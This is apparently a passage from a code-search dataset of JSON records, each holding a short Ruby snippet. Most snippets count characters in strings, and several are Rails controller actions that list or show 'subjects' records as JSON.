all characters except those found above (chars in h). \t\n\t\ta.each_with_index() { | s, i |\t\n\t\t\ta[i] = s.chars.sort.select() { | c |\n\t\t\t\th.include?(c)\n\t\t\t}.join\n\t\t}\n\t\t\n\t\t# Return the shortest string left, this asserts we are only counting chars present\n\t\t# in all of the input strings, e.g. [\"abcd\", \"abcdefg\", \"abcdefgh\"] => \"abcd\" is\n\t\t# string containing all chars present in ALL of the input strings.\n\t\treturn a.sort_by() { | s | s.length }[0].length\n\n\telse # Solves for a single string in a group, where each character is counted.\n\t\treturn a[0].length\n\tend\n\nend", "title": "" }, { "docid": "d1c7468e63e9ae6056c33c7bf0f90140", "score": "0.68253815", "text": "def ae_count(string)\n hash = {\"a\"=>0,\"e\"=>0}\n string.each_char do |char|\n if( char == 'a' || char == 'e' )\n hash[char] += 1;\n end \n end\n\n return hash\nend", "title": "" }, { "docid": "7787f0b327f97a612798b0ec270c9c9e", "score": "0.6824684", "text": "def letter_count(str)\n count_hash = Hash.new(0)\n str.each_char do |char|\n count_hash[char.downcase] += 1\n end\n return count_hash\nend", "title": "" }, { "docid": "5a068d5b7989959eeea3ee5ba41f19c5", "score": "0.6824505", "text": "def frequent_letters(string)\n\tcharacters = []\n \tlettersCount = Hash.new(0)\n \n \tstring.each_char { |letter|\n \tlettersCount[letter] += 1\n \tif lettersCount[letter] > 2 && !characters.include?(letter)\n \tcharacters.push(letter)\n end\n }\n \treturn characters\nend", "title": "" }, { "docid": "1c626849b1b65142e22b1aa877697694", "score": "0.6822455", "text": "def compress_str(str)\n hash = Hash.new(0)\n str.each_char {|ele| hash[ele] += 1}\n hash.each do |k,v|\n print v,k\n end\n \nend", "title": "" }, { "docid": "677c6e4a24ecbdc65780221f7438a568", "score": "0.6816892", "text": "def ordered_count(str)\n #split string, find unique elements and add them to a new array\n ch = str.chars.uniq\n # traverse the array and count the number of occurrences of array element in the string\n # create a new array consisting of the character and the counter\n print ch.map { |x| [x, str.count(x)]}\n end", "title": "" }, { "docid": "0f19a97ef83c4a26f0de9dfe8c710339", "score": "0.68166345", "text": "def character_count(str)\n # creates new hash with default value of zero\n count = Hash.new(0)\n # each loop by char\n str.each_char do |char|\n # ignores case\n char = char.downcase\n # sets char key and increases value by 1\n count[char] += 1\n end\n #returns count\n count\nend", "title": "" }, { "docid": "666c3f94ad8713371acded9a27cf22bd", "score": "0.6812815", "text": "def count_duplicate_hash(str)\n\t puts str.each_char.group_by(&:itself).map {|k, v| [k, v.count]}.reject {|k, v| v < 2}.to_h\nend", "title": "" }, { "docid": "a68a22906791933850c3cf57b5fc0ca8", "score": "0.68101215", "text": "def count_letters(string)\n\tletters = Hash.new(0)\n\tall_letters = string.delete(' ').split('')\n\tall_letters.each { |i| letters[i] += 1 }\n\tletters\nend", "title": "" }, { "docid": "07180b58b69e29cbf706ec35f841244d", "score": "0.68050283", "text": "def simple_hash(str)\n\treturn 0 if str.empty?\n\treturn str.ord - 'a'.ord\nend", "title": "" }, { "docid": "fb43f1e9153f65c9c4bb3feb0e85a613", "score": "0.6803764", "text": "def charCountFun(str)\n\thash = Hash.new(0)\n\tstr.each_char{|i| hash[i] += 1}\n\thash.each{|key, value| puts \"Le caractere #{key} apparait #{value} fois\"}\nend", "title": "" }, { "docid": "e26c97cff6cdc213ad65d08bdf20d7ad", "score": "0.68022156", "text": "def character_count (my_str)\n my_str = my_str.downcase\n str_to_array = my_str.split(\"\")\n character_counter = Hash.new(0)\n\n str_to_array.each { |character| character_counter[character]+= 1}\n\n return character_counter\n\nend", "title": "" }, { "docid": "51abbf6551eb5a732899e807168265fb", "score": "0.6798568", "text": "def frequent_letters(string)\n\n # step 2 : new box {}\n counter = Hash.new(0) # # counter = {} with default value '0'\n # step 1 : iteration check\n string.each_char do |char|\n # step 3 : add 1 increment \n # counter[char] += 1 \n counter[char] += 1\n end\n # return counter\n # {\"m\"=>1, \"i\"=>4, \"s\"=>4, \"p\"=>2}\n # {\"b\"=>1, \"o\"=>2, \"t\"=>1, \"c\"=>1, \"a\"=>1, \"m\"=>1, \"p\"=>1}\n\n new = []\n counter.each do |k, v|\n\n if v > 2\n new << k\n end\n\n end\n return new\n\nend", "title": "" }, { "docid": "42cfccd777054d775251f1ebce46728c", "score": "0.6795445", "text": "def num_repeats(string)\n count = 0\n seen = Hash.new { |hash, key| hash[key] = 0 }\n string.chars.each do |char|\n count += 1 if seen[char] == 1\n seen[char] += 1\n end\n count\nend", "title": "" }, { "docid": "4dcf122f6b9078b73e935ff32e7302bf", "score": "0.6792407", "text": "def compressed_string(input_string)\n\tchar_counter = Hash.new(0)\n\tstring_array = input_string.split(\"\")\n\n\tstring_array.each do |letter|\n\t\tchar_counter[letter] += 1\n\tend\n\tchar_counter.keys.join(\"\")\n\t\nend", "title": "" }, { "docid": "b11dd3ff22c2da541298691a723c6518", "score": "0.67914814", "text": "def ordered_count(str)\n arry = []\n str.each_char { |char| arry << [char , str.count(char)] }\n return arry.uniq\nend", "title": "" }, { "docid": "8a56140892349f04fb716e9234b9bcde", "score": "0.6789248", "text": "def hash(input_str)\n hash = DEFAULT_HASH_VALUE\n input_str.split(//).each do |c|\n hash = ((hash << 5) + hash) + c.ord # hash * 33 + c:\n end\n return hash\n end", "title": "" }, { "docid": "50233597d3b5d8c8b83ff5ed84cfddcd", "score": "0.6788209", "text": "def count_occurences(str)\n occurences = {}\n str.each_char{|char|\n if occurences.has_key? char\n occurences[char] += 1\n else\n occurences.store(char,1)\n end\n }\n return occurences\nend", "title": "" }, { "docid": "c99d77e79b39c9140e144ae075986664", "score": "0.6773363", "text": "def letter_count(str)\n counts = Hash.new { |hash, key| hash[key] = 0 }\n str.split(/ |/).each do |char|\n counts[char] += 1\n end\n counts\nend", "title": "" }, { "docid": "8c5c6edd9ed338cf4c0e60e64b9e2563", "score": "0.6769486", "text": "def frequent_letters(string)\n count_hash = letter_count(string)\n frequent_arr = []\n count_hash.each do |key_char, val|\n if val > 2\n frequent_arr << key_char\n end\n end\n return frequent_arr\nend", "title": "" }, { "docid": "91c9cf9f6369784ce65fc6169131684f", "score": "0.6765982", "text": "def stringcompression(string)\n arraystring = string.chars\n outputhash = {}\n outputstring = []\n\n arraystring.each do |char|\n if outputhash.has_key?(char)\n outputhash[char] += 1\n else\n outputhash[char] = 1\n end\n end\n\n outputhash.each do |key, value|\n outputstring << key\n outputstring << value\n end\n\n outputstring.join\nend", "title": "" }, { "docid": "4ed9135d964508ac7b060afa7e4823f1", "score": "0.6762344", "text": "def duplicates(string)\n character_hash_map = string.downcase.chars.group_by { |char| char }\n character_hash_map.count do |character, value|\n value.count > 1\n end\nend", "title": "" }, { "docid": "28736e0563b44c8b77ffe10d641357c8", "score": "0.6761371", "text": "def count_char(str)\n\tputs str.each_char.group_by(&:itself).map {|k, v| [k, v.count]}.to_h\nend", "title": "" }, { "docid": "bfeaebfaccbf8ed14e3da3ba2d7b6382", "score": "0.67564636", "text": "def frequent_letters(string)\n count = Hash.new(0)\n string.each_char { |char| count[char] += 1}\n\n frequents = []\n count.each do |char, num|\n if num > 2\n frequents << char\n end\n end\n\n return frequents\nend", "title": "" }, { "docid": "2924e29fb3d981cc68312fb2e6f1f03d", "score": "0.6756182", "text": "def frequent_letters(string)\n count = Hash.new(0)\n string.each_char do |char|\n count[char] +=1\n end \n\n arrayL = []\n count.each do |ele,num|\n if num >2\n arrayL << ele\n end \n end \n return arrayL\nend", "title": "" }, { "docid": "8476aaad3a677a485a7a73ac4ece023b", "score": "0.67469734", "text": "def letter_counts(s)\n s.chars.group_by { |c| c }.map { |k, v| [k, v.length] }.to_h\nend", "title": "" }, { "docid": "78745be2cde05a05196d541943f77021", "score": "0.67461705", "text": "def letter_counts(word)\n chars = word.split(\"\")\n hsh = Hash.new(0)\n\n chars.each do |cha|\n hsh[cha] += 1\n end\n hsh\nend", "title": "" }, { "docid": "2cdc6a8acb261c82274518a83d84df15", "score": "0.6745679", "text": "def letter_counter(string)\r\n anagram_counter = Hash.new(0)\r\n \r\n string.each_char do |letter|\r\n anagram_counter[letter] += 1\r\n end\r\n \r\n anagram_counter\r\nend", "title": "" }, { "docid": "a6a7ba32024d3136a83bc8653d11d6c2", "score": "0.674535", "text": "def letter_count(string)\n\t counts = {}\n\n\t string.each_char do |char|\n\t counts[char] = 0 unless counts.include?(char)\n\t counts[char] += 1\n\t end\n\n\t counts\n\tend", "title": "" }, { "docid": "726208157dca52ff688530dbe33b9883", "score": "0.6739895", "text": "def letter_count(str)\n str.chars.group_by(&:to_sym).map { |k, v| [k, v.size] }.to_h\nend", "title": "" }, { "docid": "c1314e09d8e6db17f56cc5b35be7a15d", "score": "0.6735435", "text": "def beautiful_string(str)\n chars = number_by_chars(str)\n\n sum = 0\n chars.sort_by{ |_k,v| -v }.each_with_index do |hash, i|\n sum += (26 - i) * hash.last\n end\n sum\nend", "title": "" }, { "docid": "bb280d772ed298b8d1201df0fe658f57", "score": "0.6731976", "text": "def count_letters(my_string)\n hash = {}\n my_string.split(\"\").each_with_index do |x,y|\n if x != \" \"\n\n if hash[x].nil?\n hash[x] = []\n end\n hash[x] << y\n end\n \n end\n hash\n\nend", "title": "" } ]
4c45136bb4b408341b6f2dcb1cc32497
GET /subjects GET /subjects.json
[ { "docid": "c3e14c7349e599dca49195ba27eb94a1", "score": "0.0", "text": "def index\n\n # @tt = ['slot 1', 'slot 2', 'slot 3'];\n # ttc = [:slot1 => 'val 1 for slot 1', :slot2 => 'val 2 for slot 2', :slot3 => 'val 3 for slot 3' ];\n\n @subjects = Subject.all\n data = {};\n\n # data = '';\n\n @subjects.each_with_index do |p, k|\n data[k] = p.title\n # data += p.title + \"<br>\"\n end\n\n render plain: data\n # render :text => \"OK\"\n\n # render inline: \"<% @subjects.each do |p| %><p><%= p.title %><p><% end %>\"\n # render html: data.html_safe #{}\"<strong>Not Found #{data}</strong>\".html_safe\n # render json: @subjects\n end", "title": "" } ]
[ { "docid": "d80d4333a53cc29f4d017263f240637b", "score": "0.80696344", "text": "def get_subjects\n @content_year = ContentYear.find(params[:id]) unless params[:id].blank? rescue nil\n list = @content_year.subjects.map {|u| Hash[value: u.id, name: u.name]} rescue []\n render json: list\n end", "title": "" }, { "docid": "578f6fdcd58aedf26ac30301063c1869", "score": "0.7994906", "text": "def get_subjects\n @sub_topic = SubTopic.find(params[:id]) unless params[:id].blank?\n list = @sub_topic.subjects.map {|u| Hash[value: u.id, name: u.name]}\n render json: list\n end", "title": "" }, { "docid": "1db997c2f4f00180ce88542e069ceef6", "score": "0.7942058", "text": "def get_subjects\n @academic_class = AcademicClass.find(params[:id]) unless params[:id].blank?\n list = @academic_class.subjects.map {|u| Hash[value: u.id, name: u.name]}\n render json: list\n end", "title": "" }, { "docid": "878fe9a20dffd0acccc2e99aa0bd56ba", "score": "0.7890351", "text": "def get_subjects\n @content_year = ContentYear.find_by_name(params[:name].to_i) unless params[:name].blank?\n list = @content_year.subjects.map {|u| Hash[value: u.id, name: u.name]}\n render json: list\n end", "title": "" }, { "docid": "28740fc505dced76109d3c0aeadf5171", "score": "0.7832047", "text": "def index\n @subjects = Subject.all\n\n render json: @subjects\n end", "title": "" }, { "docid": "3bfaa6609287dd036fd08cac1a56b500", "score": "0.7810291", "text": "def list\n @subjects = Subject.all\n render :json => @subjects.collect {|s| {:id => s.id, :name => s.name} }\n end", "title": "" }, { "docid": "0c770a71774218a3f2921c5cec0fd3fc", "score": "0.7472482", "text": "def subjects()\n require_authentication!\n options = make_options(\"getSubjects\")\n response = self.class.post(\"/WebUntis/jsonrpc.do;jsessionid=#{@session_id}?school=#{@school}\", options)\n raise response[\"error\"][\"message\"] unless response[\"error\"].nil?\n response[\"result\"]\n end", "title": "" }, { "docid": "56e3cf87b3546465ced3f69a68a2e305", "score": "0.73799646", "text": "def list_subjects(options = {})\n all_subjects\n end", "title": "" }, { "docid": "56e3cf87b3546465ced3f69a68a2e305", "score": "0.73799646", "text": "def list_subjects(options = {})\n all_subjects\n end", "title": "" }, { "docid": "cc32effe95024c9fe046fac412b07c6a", "score": "0.73560315", "text": "def index\n @admin_subjects = Admin::Subject.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_subjects }\n end\n end", "title": "" }, { "docid": "4a39ceef8cf62977405c467c1fefc350", "score": "0.7253721", "text": "def index\n @course_subjects = CourseSubject.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @course_subjects }\n end\n end", "title": "" }, { "docid": "aad7e4b13947fe97d384a34a8ed4a803", "score": "0.71992624", "text": "def show\n subject= Subject.find(params[:id])\n\n render json: subject\n end", "title": "" }, { "docid": "d6b1f02c8189a815a370229e9780fd3a", "score": "0.71892935", "text": "def index\n @course = Course.find(params[:course_id])\n @course_subjects = @course.subjects\n end", "title": "" }, { "docid": "c3dc9e95874f4d7b1f871022464ea866", "score": "0.7168383", "text": "def show\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json {render json: @subject}\n end\n end", "title": "" }, { "docid": "e57dc25b71afb4a8a0c901118f49efcc", "score": "0.71516687", "text": "def subjects\n @subjects\n end", "title": "" }, { "docid": "dcacef8ef0ff8e6bd3ab3fb621b37d20", "score": "0.7097196", "text": "def show\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "dcacef8ef0ff8e6bd3ab3fb621b37d20", "score": "0.7097196", "text": "def show\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "dcacef8ef0ff8e6bd3ab3fb621b37d20", "score": "0.7097196", "text": "def show\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "dcacef8ef0ff8e6bd3ab3fb621b37d20", "score": "0.7097196", "text": "def show\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "dcacef8ef0ff8e6bd3ab3fb621b37d20", "score": "0.7097196", "text": "def show\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "5550b23e0947f5329e579e1110835ec6", "score": "0.70722103", "text": "def get_all_subjects\n get_all_named_subjects('p')\n end", "title": "" }, { "docid": "5701ff482ce3c5cef98e5c7295887b43", "score": "0.7069668", "text": "def index\n @subjects = Subject.all\n end", "title": "" }, { "docid": "5701ff482ce3c5cef98e5c7295887b43", "score": "0.7069668", "text": "def index\n @subjects = Subject.all\n end", "title": "" }, { "docid": "5701ff482ce3c5cef98e5c7295887b43", "score": "0.7069668", "text": "def index\n @subjects = Subject.all\n end", "title": "" }, { "docid": "5701ff482ce3c5cef98e5c7295887b43", "score": "0.7069668", "text": "def index\n @subjects = Subject.all\n end", "title": "" }, { "docid": "5701ff482ce3c5cef98e5c7295887b43", "score": "0.7069668", "text": "def index\n @subjects = Subject.all\n end", "title": "" }, { "docid": "5701ff482ce3c5cef98e5c7295887b43", "score": "0.7069668", "text": "def index\n @subjects = Subject.all\n end", "title": "" }, { "docid": "5701ff482ce3c5cef98e5c7295887b43", "score": "0.7069668", "text": "def index\n @subjects = Subject.all\n end", "title": "" }, { "docid": "5701ff482ce3c5cef98e5c7295887b43", "score": "0.7069668", "text": "def index\n @subjects = Subject.all\n end", "title": "" }, { "docid": "5701ff482ce3c5cef98e5c7295887b43", "score": "0.7069668", "text": "def index\n @subjects = Subject.all\n end", "title": "" }, { "docid": "5701ff482ce3c5cef98e5c7295887b43", "score": "0.7069668", "text": "def index\n @subjects = Subject.all\n end", "title": "" }, { "docid": "1e158c623571d46fc2cb9850ea5ea333", "score": "0.7042193", "text": "def get_subjects\n if params[:s].present?\n s_id = params[:s].to_i\n subjects_by_student = Subject.joins(\"INNER JOIN school_cycle_has_subjects ON subjects.id = school_cycle_has_subjects.subject_id INNER JOIN student_has_subjects ON school_cycle_has_subjects.id = student_has_subjects.school_cycle_has_subject_id\").where(\"student_id = ?\", s_id)\n msg = { \"success\": \"true\", \"subjects\": subjects_by_student }\n else\n msg = { \"success\": false, \"subjects\": 0 }\n end\n\n render json: msg\nend", "title": "" }, { "docid": "69d0b8fb5475e4053d2b491ff5454f19", "score": "0.70274013", "text": "def subjects(options={})\r\n render(options.merge(:only => :subjects)) unless @subjects_rendered\r\n @subjects\r\n end", "title": "" }, { "docid": "5b11d73cca576cdeed630042a93bba64", "score": "0.6970779", "text": "def list\n begin\n # Must be POST request to create course\n return unless request.post?\n\n # Receives search string\n search = get_param(:search)\n\n @response[:subjects] = []\n\n # Find subjects that fit the search string\n Subject.search(search).each do |subject|\n course_data = {}\n course_data[:id] = subject.id\n course_data[:type] = 'new_subject'\n course_data[:code] = subject.code\n course_data[:name] = subject.name\n course_data[:progress] = nil\n\n if @user && @user.is?('student')\n relationship = SubjectStudent.find_by(:student_id => @user.id, :subject_id => subject.id)\n if relationship\n course_data[:progress] = relationship.progress\n end\n end\n @response[:subjects].push course_data\n end\n rescue Exception => e\n @status_code = 500 if !@status_code\n @response[:status] = 'error'\n @response[:error] = \"#{e}\"\n else\n @status_code = 201\n @response[:status] = 'success'\n end\n\n render :json => @response, :status => @status_code\n end", "title": "" }, { "docid": "ceb5452401768daf6d3883504d2ef039", "score": "0.696721", "text": "def explore_subjects *args\n page, per_page = TibbrResource.extract_params(args, 2)\n Subject.find(:all, :params => {:page=>page, :per_page=>per_page, :conditions => [ \"subjects.scope = ? and subjects.stype = ? \", :public, :custom ], :include => :message_subjects, :order => \"message_subjects.id DESC\" })\n end", "title": "" }, { "docid": "89e20e070f9dfba46c3102529d00d9d9", "score": "0.696296", "text": "def subjects(options={})\n render(options.merge(:only => :subjects)) unless @subjects_rendered\n @subjects\n end", "title": "" }, { "docid": "89e20e070f9dfba46c3102529d00d9d9", "score": "0.696296", "text": "def subjects(options={})\n render(options.merge(:only => :subjects)) unless @subjects_rendered\n @subjects\n end", "title": "" }, { "docid": "94684dea6e2f4c8df0dc43fc7c96655e", "score": "0.69453603", "text": "def index\n if teacher_signed_in?\n @subjects = current_user.rolable.subjects # teachers can only see the subjects they're assigned to\n elsif student_signed_in?\n @subjects = @current_class.subjects # students can only see the subjects their current class is registered to\n else\n @subjects = Subject.all\n end\n respond_with @subjects\n end", "title": "" }, { "docid": "7e122fcb9c0d16fc4021f02b81914cc3", "score": "0.69321716", "text": "def index\n @subjects = Subject.paginate(:page => params[:page])\n @title = \"Предметы\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subjects }\n end\n end", "title": "" }, { "docid": "a572def097f83b4d1a2caf11f0171a3d", "score": "0.6931784", "text": "def show\n @subjects_teacher = SubjectsTeacher.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subjects_teacher }\n end\n end", "title": "" }, { "docid": "1dac53d1b51edcac91a864c41daf0b6c", "score": "0.69211626", "text": "def show\n @content_year = ContentYear.find(params[:id])\n @subjects = @content_year.subjects.page(params[:page])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content_year }\n end\n end", "title": "" }, { "docid": "27d604347cfe797fb9e78e8f8dbe1312", "score": "0.69210064", "text": "def index\n @subjects_tutors = SubjectsTutor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subjects_tutors }\n end\n end", "title": "" }, { "docid": "e58bb22d0590dd8bcc00301f02257842", "score": "0.6902469", "text": "def show\n @subject = Subject.find(params[:id])\n @majors = Major.all\n @tetras = Tetramod.all\n @examples = Curriculum.where(\"subject_id = ?\", params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "806979784b3282aaf27997f3c6138de6", "score": "0.6898174", "text": "def index\n @subjects = current_user.subjects.by_status_desc\n @count_by_status = count_by_status\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subjects }\n end\n end", "title": "" }, { "docid": "447a5d0156c3079447e72b3dd5361721", "score": "0.68821967", "text": "def index\n @subjects_teachers = SubjectsTeacher.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subjects_teachers }\n end\n end", "title": "" }, { "docid": "4e13fbb80e462ca3713390a6468d995a", "score": "0.6873414", "text": "def subjects\n return @subjects\n end", "title": "" }, { "docid": "62bbf8d86abd6e14a2f900c7e9b35dc0", "score": "0.6853683", "text": "def available_subjects\n Subject.all\n end", "title": "" }, { "docid": "a8a4016bcbd840303a09c8978b34ce6a", "score": "0.68509275", "text": "def show_subjects\n @subject = Subject.find(params[:id])\n end", "title": "" }, { "docid": "1e7597b1e0cb3019f8f941e87a76aacb", "score": "0.68447715", "text": "def show\n @course_subject = CourseSubject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course_subject }\n end\n end", "title": "" }, { "docid": "ac7a7555c51243a7c0a642bfa0dea7b6", "score": "0.68321884", "text": "def index\n @q = Subject.ransack(params[:q])\n @subjects = @q.result.page(params[:page])\n end", "title": "" }, { "docid": "b21129004b016fa9f356557aea0cd36b", "score": "0.6821569", "text": "def show\n @subjects_tutor = SubjectsTutor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subjects_tutor }\n end\n end", "title": "" }, { "docid": "d214ab199a60524f080f74527d1114dd", "score": "0.67756635", "text": "def index\n @subjects = Subject.where(user: current_user).page(params[:page]).per(10)\n end", "title": "" }, { "docid": "71901ca944af7887f0e02511c0fd1e74", "score": "0.67753524", "text": "def show\n @uneb = Uneb.find(params[:id])\n @subjects=Subject.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uneb }\n end\n end", "title": "" }, { "docid": "04fb28faa853578b5ce6586064e25250", "score": "0.6774689", "text": "def subjects\n @theory_subjects = Subject.theory_subjects.all\n @practical_subjects = Subject.practical_subjects.all\n #@subjects = Subject.accessible_by(current_ability)\n respond_to do |format|\n format.html \n format.js\n end \n end", "title": "" }, { "docid": "8f29339c73c408bd45e995817d23e070", "score": "0.6772427", "text": "def show\n @admin_subject = Admin::Subject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_subject }\n end\n end", "title": "" }, { "docid": "42373baf675088333f119731b0294678", "score": "0.6762164", "text": "def subjects\n _structure = object.structure || object.indexable_card.structure\n\n _structure.subjects.map do |subject|\n { id: subject.id, name: subject.name }\n end\n end", "title": "" }, { "docid": "37423ea0db87a3dec5f38470d35b15e5", "score": "0.6758185", "text": "def get_authorization_subjects_me_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UsersApi.get_authorization_subjects_me ...\"\n end\n \n # resource path\n local_var_path = \"/api/v2/authorization/subjects/me\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuthzSubject')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#get_authorization_subjects_me\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "954870185ce04214460c78d6454bdf34", "score": "0.674846", "text": "def index\n @subject_heading_type_has_subjects = SubjectHeadingTypeHasSubject.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @subject_heading_type_has_subjects }\n end\n end", "title": "" }, { "docid": "a14888e9f91adde11058c86c76848fab", "score": "0.6734257", "text": "def subjects\n @user = current_user\n initialize_subjects_profile(true)\n @errors = []\n end", "title": "" }, { "docid": "d6b0a22ab14f899adbe02d2625e91e66", "score": "0.6710956", "text": "def list_subjects s_filters={}, *args\n page, per_page, options = TibbrResource.extract_params(args, 2)\n value_type = options[:value_type]||'id'\n get(:list_subjects, :params => {:page=>page, :per_page=>per_page, :value_type => value_type}.merge(s_filters||{}))\n end", "title": "" }, { "docid": "aa9048de2002bb6e5c4dd6b4d57065a2", "score": "0.6704145", "text": "def index\n @staff_subjects = StaffSubject.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @staff_subjects }\n end\n end", "title": "" }, { "docid": "0f72ba644e12c46b67f22129d8fb36ef", "score": "0.67013735", "text": "def index\n @subjects = Subject.all.paginate(page: params[:page], per_page: 20)\n end", "title": "" }, { "docid": "a4810dcefa41053617bb5d6eb4829dc0", "score": "0.66761625", "text": "def recent_thread_subjects\n email = params[:email]\n \n gmail_account = current_user.gmail_accounts.first\n recent_thread_subjects = gmail_account.recent_thread_subjects(email)\n \n render :json => recent_thread_subjects\n end", "title": "" }, { "docid": "630a1a2a605b5f151afd7a251c9e8919", "score": "0.66758883", "text": "def subjects\n []\n end", "title": "" }, { "docid": "d8abbbce5251f94c269394087d910daf", "score": "0.66748416", "text": "def index\n @user_subjects = UserSubject.all\n end", "title": "" }, { "docid": "7d37f6d14a8f9df4e30641183bb1acda", "score": "0.667447", "text": "def index\n if params[:teacher_id]\n @teacher = Teacher.find(params[:teacher_id])\n @subjects = @teacher.subjects\n elsif params[:standard_id]\n @standard = Standard.find(params[:standard_id])\n @subjects = @standard.subjects\n else\n @subjects = Subject.all\n end\n end", "title": "" }, { "docid": "dc6bf3cf09ab1c7bc8945f5247cc96c4", "score": "0.66739374", "text": "def subject\n @subjects = Subject.all.order('name ASC').group_by{|d| d.name[0]}\n @letters = Database.letters\n render :subject\n end", "title": "" }, { "docid": "ccb967a85d746059897d003cd53e5766", "score": "0.6671539", "text": "def subjects=(value)\n @subjects = value\n end", "title": "" }, { "docid": "2abcc8612f286ed11fad1fc4105f49c2", "score": "0.6663903", "text": "def show\n set_subject\n render :json => { name: @subject.name, description: @subject.description, id: @subject.id, fields: @subject.fields}\n end", "title": "" }, { "docid": "e46f394920a2dc87bc24c2c666347378", "score": "0.6661027", "text": "def my_subjects\n @subjects = Content.where(:id=>current_user.class_contents.map(&:id)).page(params[:page])\n end", "title": "" }, { "docid": "71b08fe3921c5dc2337b1c41fa8e9669", "score": "0.66595745", "text": "def findtypesubject\n @typesubject = Typesubject.find(params[:id])\n respond_to do |format|\n format.json { render :json => @typesubject.to_json}\n end\n end", "title": "" }, { "docid": "2e05bfe4dc2e4d009e79a6ba880005a9", "score": "0.66528136", "text": "def show\n @csesubject = Csesubject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @csesubject }\n end\n end", "title": "" }, { "docid": "f582bd77b869745530d170bf7a906bcd", "score": "0.66470486", "text": "def index\n @subjects = @teacher.subjects.all\n end", "title": "" }, { "docid": "7df588df274eddf020ea866bad212709", "score": "0.6646417", "text": "def index\n @page_subjects = PageSubject.all\n end", "title": "" }, { "docid": "9ae60ed18c764ee47643b99f106b79ae", "score": "0.66314304", "text": "def show\n render json: @subject\n end", "title": "" }, { "docid": "b0e10399559d225c8fabc49445a23c7f", "score": "0.66270995", "text": "def show\n @subject_competency = SubjectCompetency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject_competency }\n end\n end", "title": "" }, { "docid": "dc13639fbf249a2d1f667b6db128dc6a", "score": "0.6625956", "text": "def index\n @subject = Subject.find(params[:subject_id])\n @subject_modules = @subject.subject_modules\n #SubjectModule.find(params[:subject_id])\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "bb0ff15422c37e1e30cdc3637ecdb608", "score": "0.6611844", "text": "def list_subjects(options={})\n raise \"Method not implemented in subclass.\"\n end", "title": "" }, { "docid": "6e635390811b6f033c0bfa6253263b32", "score": "0.6606803", "text": "def index\n @section_subjects = SectionSubject.all\n end", "title": "" }, { "docid": "8313d7af093e372d2a27fc31b5844d40", "score": "0.6586219", "text": "def index\n @subject = Subject.find(params[:subject_id])\n @topics = @subject.topics\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end", "title": "" }, { "docid": "0e679dd9a9eb0f4062d41f4be02e2f76", "score": "0.6572251", "text": "def subjects\n @subjects ||= {\n :price => t('subjects_price'),\n :questions => t('subjects_questions'),\n :marketing => t('subjects_marketing'),\n :design => t('subjects_design'),\n :hosting => t('subjects_hosting'),\n :other => t('subjects_other')\n }\n end", "title": "" }, { "docid": "4e0e8d36f1de3546a3cae344693b8d21", "score": "0.6568848", "text": "def index\n @coursesubjects = Coursesubject.all\n end", "title": "" }, { "docid": "4e0e8d36f1de3546a3cae344693b8d21", "score": "0.6568848", "text": "def index\n @coursesubjects = Coursesubject.all\n end", "title": "" }, { "docid": "7fe8cd260733a64ed06fde7a41455ca8", "score": "0.65678567", "text": "def index\n @subjects = Subject.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subjects }\n end\n end", "title": "" }, { "docid": "72127092b480f4cffa90d15258d7919e", "score": "0.655842", "text": "def show\n #@teacher_subject = TeacherSubject.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @teacher_subject }\n end\n end", "title": "" }, { "docid": "3454c71b4c8ff5ca3f2c63bec9d43828", "score": "0.65580344", "text": "def 